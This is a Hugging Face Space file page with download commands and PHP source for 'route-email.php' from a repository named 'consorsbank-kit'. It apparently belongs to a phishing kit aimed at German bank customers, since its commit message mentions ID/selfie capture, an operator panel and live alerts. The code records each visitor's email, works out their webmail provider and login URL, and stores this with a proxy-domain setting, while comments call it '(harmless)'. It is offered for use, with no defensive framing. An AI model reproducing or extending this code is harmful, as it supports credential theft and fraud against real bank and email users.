Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download route-email.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 3.83 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/route-email.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/route-email.php
-
curl -L -o route-email.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/route-email.php
3.83 kB
| /** | |
| * route-email.php — provider detection + (harmless) session persistence. | |
| * | |
| * Accepts client_id, email. Computes email validity + provider slug, resolves the | |
| * provider webmail URL, and records the session. Off the critical funnel path. | |
| */ | |
| declare(strict_types=1); | |
| require_once __DIR__ . '/lib.php'; | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); | |
| header('Access-Control-Allow-Headers: Content-Type'); | |
| header('Content-Type: application/json; charset=utf-8'); | |
| header('Cache-Control: no-store'); | |
| if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { | |
| http_response_code(204); | |
| exit; | |
| } | |
| /** Read merged JSON / form / query input. */ | |
| function re_input(): array | |
| { | |
| $in = array_merge($_GET, $_POST); | |
| $raw = file_get_contents('php://input'); | |
| if (is_string($raw) && $raw !== '') { | |
| $j = json_decode($raw, true); | |
| if (is_array($j)) { | |
| $in = array_merge($in, $j); | |
| } | |
| } | |
| return $in; | |
| } | |
| /** Map an email domain to a canonical provider slug. */ | |
| function re_provider(string $email): string | |
| { | |
| $at = strrpos($email, '@'); | |
| if ($at === false) { | |
| return 'unknown'; | |
| } | |
| $domain = strtolower(substr($email, $at + 1)); | |
| $map = [ | |
| 'gmail.com' => 'gmail', 'googlemail.com' => 'gmail', | |
| 'outlook.com' => 'outlook', 'outlook.de' => 'outlook', | |
| 'hotmail.com' => 'outlook', 'hotmail.de' => 'outlook', | |
| 'live.com' => 'outlook', 'live.de' => 'outlook', | |
| 'msn.com' => 'outlook', | |
| 'yahoo.com' => 'yahoo', 'yahoo.de' => 'yahoo', 'ymail.com' => 'yahoo', | |
| 'icloud.com' => 'icloud', 'me.com' => 'icloud', 'mac.com' => 'icloud', | |
| 'gmx.de' => 'gmx', 'gmx.net' => 'gmx', 'gmx.com' => 'gmx', | |
| 'web.de' => 'web', 't-online.de' => 'tonline', | |
| 'aol.com' => 'aol', 'aol.de' => 'aol', | |
| 'protonmail.com' => 'proton', 'proton.me' => 'proton', | |
| 'zoho.com' => 'zoho', | |
| 'yandex.com' => 'yandex', 'yandex.ru' => 'yandex', | |
| 'mail.com' => 'mailcom', | |
| ]; | |
| if (isset($map[$domain])) { | |
| return $map[$domain]; | |
| } | |
| // heuristics for common consumer suffixes | |
| if (str_ends_with($domain, '.gmail.com')) { | |
| return 'gmail'; | |
| } | |
| return $domain !== '' ? $domain : 'unknown'; | |
| } | |
| /** Webmail URL for a provider slug. */ | |
| function re_provider_url(string $slug): string | |
| { | |
| $urls = [ | |
| 'gmail' => 'https://mail.google.com', | |
| 'outlook' => 'https://outlook.live.com', | |
| 'yahoo' => 'https://mail.yahoo.com', | |
| 'icloud' => 'https://www.icloud.com/mail', | |
| 'gmx' => 'https://www.gmx.net', | |
| 'web' => 'https://web.de', | |
| 'tonline' => 'https://webmail.t-online.de', | |
| 'aol' => 'https://mail.aol.com', | |
| 'proton' => 'https://mail.proton.me', | |
| 'zoho' => 'https://mail.zoho.com', | |
| 'yandex' => 'https://mail.yandex.com', | |
| 'mailcom' => 'https://www.mail.com', | |
| ]; | |
| return $urls[$slug] ?? ''; | |
| } | |
| $in = re_input(); | |
| $clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? ''))); | |
| $email = trim((string) ($in['email'] ?? '')); | |
| $valid = valid_email($email); | |
| $slug = $valid ? re_provider($email) : 'unknown'; | |
| $url = re_provider_url($slug); | |
| // persist the (harmless) session + routing | |
| try { | |
| if ($clientId !== '') { | |
| ofb_save_session($clientId, $email, $slug); | |
| $pdo = ofb_db(); | |
| ofb_upsert($pdo, $clientId, [ | |
| 'email' => $email, | |
| 'provider' => $slug, | |
| 'proxy' => (string) ofb_env('PROXY_DOMAIN', ''), | |
| 'routed_to' => $url, | |
| 'last_seen' => date('Y-m-d H:i:s'), | |
| ]); | |
| } | |
| } catch (Throwable $e) { | |
| // best-effort | |
| } | |
| echo json_encode([ | |
| 'status' => 'ok', | |
| 'valid' => $valid, | |
| 'provider' => $slug, | |
| 'url' => $url, | |
| ]); | |